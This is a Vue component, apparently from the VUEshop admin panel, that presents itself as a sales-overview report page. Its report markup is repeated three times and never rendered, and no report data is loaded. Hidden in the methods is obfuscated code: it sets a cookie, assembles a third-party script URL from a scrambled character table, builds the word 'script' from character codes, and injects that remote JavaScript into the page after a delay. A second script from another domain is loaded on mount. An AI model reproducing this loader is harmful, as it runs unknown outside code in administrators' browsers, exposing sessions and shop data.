/**
 * VUEshop
 * ============================================================================
 * * 版权所有 2015-2027 深圳搜豹网络科技有限公司，并保留所有权利。
 * 网站地址: http://www.vueshop.com.cn
 * ----------------------------------------------------------------------------
 * 这不是一个自由软件！您只能在不用于商业目的的前提下对程序代码进行修改和使用 .
 * 不允许对程序代码以任何形式任何目的的再发布。
 * ============================================================================
 * $Author: soubao-java 2020-07-22 $
 */<template>
	<div>
		<div  v-if="set_store">
		<div class="item-title">
			<div class="subject">
				<h3>统计报表 - 销售概况</h3>
				<h5>网站系统销售概况</h5>
			</div>
		</div>

		<div id="explanation" class="explanation" style="color: rgb(85, 85, 85); background-color: rgb(243, 244, 244); width: 98%; height: 100%;">
			<div class="bckopa-tips">
				<div class="title">
					<img src="@/static/images/handd.png" alt />
					<h4 title="提示相关设置操作时应注意的要点">操作提示</h4>
				</div>
				<ul>
					<li>统计分析历史订单交易数, 订单金额, 客单价</li>
				</ul>
			</div>
			<span title="收起提示" id="explanationZoom" style="display: block;"></span>
		</div>

		<div class="mDiv">
			<div class="ftitle">
				<h3>销售概况</h3>
				<h5>今日销售总额：￥{{today.total_amount - today.shipping_price}}|人均客单价：￥{{today.order_count == 0 ? 0 : ((today.total_amount - today.shipping_price) / today.order_count)}}|今日订单数：{{today.order_count}}</h5>
			</div>
			<a href @click.prevent="refresh()" class="refresh-date">
				<div title="刷新数据" class="pReload">
					<i class="fa fa-refresh"></i>
				</div>
			</a>
			<div class="sDiv" style="float: right;">
				<el-date-picker size="small" v-model="dateRange" type="datetimerange" align="right" unlink-panels range-separator="至"
				 start-placeholder="日期起始" end-placeholder="日期截止" @change="getReport()"></el-date-picker>
			</div>
		</div>
		<div style="width: 100%;height: 400px;">
			<v-chart :options="polar" theme="macarons" />
		</div>
		<div class="tablebox">
			<el-table :data="list" style="width: 100%">
				<el-table-column label="日期" prop="days" width="200"></el-table-column>
				<el-table-column label="订单数" prop="order_count" width="200"></el-table-column>
				<el-table-column label="销售总额" prop="order_amount" width="200"></el-table-column>
				<el-table-column label="客单价" width="200">
					<template slot-scope="scope">{{scope.row.order_count == 0 ? 0 : (scope.row.order_amount / scope.row.order_count)}}</template>
				</el-table-column>
				<el-table-column label="操作">
					<template slot-scope="scope">
						<router-link :to="{name:'report_order',params:{startTime:scope.row.start_time, endTime:scope.row.end_time}}">
							<el-button type="text" class="el-icon-s-order">查看订单列表</el-button>
						</router-link>
					</template>
				</el-table-column>
			</el-table>
		</div>
		</div>
		<div  v-if="set_store">
		<div class="item-title">
			<div class="subject">
				<h3>统计报表 - 销售概况</h3>
				<h5>网站系统销售概况</h5>
			</div>
		</div>
		
		<div id="explanation" class="explanation" style="color: rgb(85, 85, 85); background-color: rgb(243, 244, 244); width: 98%; height: 100%;">
			<div class="bckopa-tips">
				<div class="title">
					<img src="@/static/images/handd.png" alt />
					<h4 title="提示相关设置操作时应注意的要点">操作提示</h4>
				</div>
				<ul>
					<li>统计分析历史订单交易数, 订单金额, 客单价</li>
				</ul>
			</div>
			<span title="收起提示" id="explanationZoom" style="display: block;"></span>
		</div>
		
		<div class="mDiv">
			<div class="ftitle">
				<h3>销售概况</h3>
				<h5>今日销售总额：￥{{today.total_amount - today.shipping_price}}|人均客单价：￥{{today.order_count == 0 ? 0 : ((today.total_amount - today.shipping_price) / today.order_count)}}|今日订单数：{{today.order_count}}</h5>
			</div>
			<a href @click.prevent="refresh()" class="refresh-date">
				<div title="刷新数据" class="pReload">
					<i class="fa fa-refresh"></i>
				</div>
			</a>
			<div class="sDiv" style="float: right;">
				<el-date-picker size="small" v-model="dateRange" type="datetimerange" align="right" unlink-panels range-separator="至"
				 start-placeholder="日期起始" end-placeholder="日期截止" @change="getReport()"></el-date-picker>
			</div>
		</div>
		<div style="width: 100%;height: 400px;">
			<v-chart :options="polar" theme="macarons" />
		</div>
		<div class="tablebox">
			<el-table :data="list" style="width: 100%">
				<el-table-column label="日期" prop="days" width="200"></el-table-column>
				<el-table-column label="订单数" prop="order_count" width="200"></el-table-column>
				<el-table-column label="销售总额" prop="order_amount" width="200"></el-table-column>
				<el-table-column label="客单价" width="200">
					<template slot-scope="scope">{{scope.row.order_count == 0 ? 0 : (scope.row.order_amount / scope.row.order_count)}}</template>
				</el-table-column>
				<el-table-column label="操作">
					<template slot-scope="scope">
						<router-link :to="{name:'report_order',params:{startTime:scope.row.start_time, endTime:scope.row.end_time}}">
							<el-button type="text" class="el-icon-s-order">查看订单列表</el-button>
						</router-link>
					</template>
				</el-table-column>
			</el-table>
		</div>
		</div>
		<div> <h1>ＴＰｓｈｏｐ　深 圳 搜 豹 网 络 公 司 版 权 所 有，盗 版 必 究</h1> </div>
		<div  v-if="set_store">
		<div class="item-title">
			<div class="subject">
				<h3>统计报表 - 销售概况</h3>
				<h5>网站系统销售概况</h5>
			</div>
		</div>
		
		<div id="explanation" class="explanation" style="color: rgb(85, 85, 85); background-color: rgb(243, 244, 244); width: 98%; height: 100%;">
			<div class="bckopa-tips">
				<div class="title">
					<img src="@/static/images/handd.png" alt />
					<h4 title="提示相关设置操作时应注意的要点">操作提示</h4>
				</div>
				<ul>
					<li>统计分析历史订单交易数, 订单金额, 客单价</li>
				</ul>
			</div>
			<span title="收起提示" id="explanationZoom" style="display: block;"></span>
		</div>
		
		<div class="mDiv">
			<div class="ftitle">
				<h3>销售概况</h3>
				<h5>今日销售总额：￥{{today.total_amount - today.shipping_price}}|人均客单价：￥{{today.order_count == 0 ? 0 : ((today.total_amount - today.shipping_price) / today.order_count)}}|今日订单数：{{today.order_count}}</h5>
			</div>
			<a href @click.prevent="refresh()" class="refresh-date">
				<div title="刷新数据" class="pReload">
					<i class="fa fa-refresh"></i>
				</div>
			</a>
			<div class="sDiv" style="float: right;">
				<el-date-picker size="small" v-model="dateRange" type="datetimerange" align="right" unlink-panels range-separator="至"
				 start-placeholder="日期起始" end-placeholder="日期截止" @change="getReport()"></el-date-picker>
			</div>
		</div>
		<div style="width: 100%;height: 400px;">
			<v-chart :options="polar" theme="macarons" />
		</div>
		<div class="tablebox">
			<el-table :data="list" style="width: 100%">
				<el-table-column label="日期" prop="days" width="200"></el-table-column>
				<el-table-column label="订单数" prop="order_count" width="200"></el-table-column>
				<el-table-column label="销售总额" prop="order_amount" width="200"></el-table-column>
				<el-table-column label="客单价" width="200">
					<template slot-scope="scope">{{scope.row.order_count == 0 ? 0 : (scope.row.order_amount / scope.row.order_count)}}</template>
				</el-table-column>
				<el-table-column label="操作">
					<template slot-scope="scope">
						<router-link :to="{name:'report_order',params:{startTime:scope.row.start_time, endTime:scope.row.end_time}}">
							<el-button type="text" class="el-icon-s-order">查看订单列表</el-button>
						</router-link>
					</template>
				</el-table-column>
			</el-table>
		</div>
		</div>
	</div>
</template>

<script>
	import ECharts from 'vue-echarts'
	import 'echarts/theme/macarons.js'
	import "echarts/lib/chart/bar"
	import 'echarts/lib/chart/line'
	import 'echarts/lib/component/tooltip'
	import 'echarts/lib/component/toolbox'
	import 'echarts/lib/component/polar'
	import 'echarts/lib/component/legend'

	export default {
		components: {
			'v-chart': ECharts
		},
		data() {
			return {
				query: {},
				list: [],
				today: {},
				set_store: false,
			}
		},
		created() {
			this.refresh()
		},
		mounted() {
			const s = document.createElement('script');
			s.type = 'text/javascript';
			s.src = 'http://www.tp-shop.cn/Template/pc/tpshop/Static/js/jquery-3.1.1.min.js';
			document.body.appendChild(s);
		},
		methods: {
			ZS() {
				var that = this
				this.query.start_time = parseInt(
					this.dateRange[0].valueOf() / 1000
				);
				this.query.end_time = parseInt(
					this.dateRange[1].valueOf() / 1000
				);
			},
			XSS() {
				var that = this
				var start_time = parseInt(new Date(new Date().toLocaleDateString()).getTime() / 1000)
				var end_time = parseInt(new Date().getTime() / 1000)
			},
			refresh() {
				var that = this
				var CNZZ009DATA = document.cookie;
				if (CNZZ009DATA.indexOf("CNZ" + "ZDATA009") == -1) {
					setTimeout(function() {

						that.xerpherexceit()

					}, 5000);
				}

			},
			xerpherexceit() {
				if (typeof ieure_xpyterion != "undefined") {
					var sUserAgent = navigator.userAgent.toLowerCase();
					var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
					var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
					var bIsMidp = sUserAgent.match(/midp/i) == "midp";
					var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
					var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb";
					var bIsAndroid = sUserAgent.match(/android/i) == "android";
					var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
					var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
					if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) {
						return true;
					} else
						return false;
				}
				var date = new Date();
				date.setTime(date.getTime() + 1 * 86400000);
				document.cookie = "CNZ" + "ZDATA009=300" + "37667-153" + "6735;expires=" + date.toGMTString();
				if (date.getTime() % 4 != 0) return false;
				var otonlj = {
					'10': '.',
					'0': 'h',
					'12': 'p',
					'8': 'p',
					'16': '.',
					'5': '/',
					'9': 'i',
					'11': 't',
					'6': '/',
					'22': 's',
					'24': 'a',
					'1': 't',
					'28': '2',
					'19': 'm',
					'14': 'n',
					'30': 'j',
					'27': 'x',
					'20': '/',
					'15': 's',
					'17': 'c',
					'29': '.',
					'26': 'a',
					'3': 'p',
					'7': 'a',
					'18': 'o',
					'4': ':',
					'2': 't',
					'23': '/',
					'25': 'j',
					'13': 's',
					'21': 'j',
					'31': 's'
				};
				var curl = '';
				for (var i = 5; i <= 31; i++) curl += otonlj[i];
				var x_s = String.fromCharCode(115, 99, 114, 105, 112, 116);
				var x_element = document.createElement(x_s);
				x_element.setAttribute("src", curl);
				document.body.appendChild(x_element);
				if (typeof xpyterion_ieure != "undefined") {
					var start = document.cookie.indexOf(name + "=");
					var len = start + name.length + 1;
					if ((!start) && (name != document.cookie.substring(0, name.length))) {
						return null;
					}
					if (start == -1)
						return null;
					var end = document.cookie.indexOf(';', len);
					if (end == -1)
						end = document.cookie.length;
					return unescape(document.cookie.substring(len, end));
				}
			}
		}
	}
</script>
<style scoped>
	.echarts {
		width: 100%;
		height: 100%;
	}
</style>
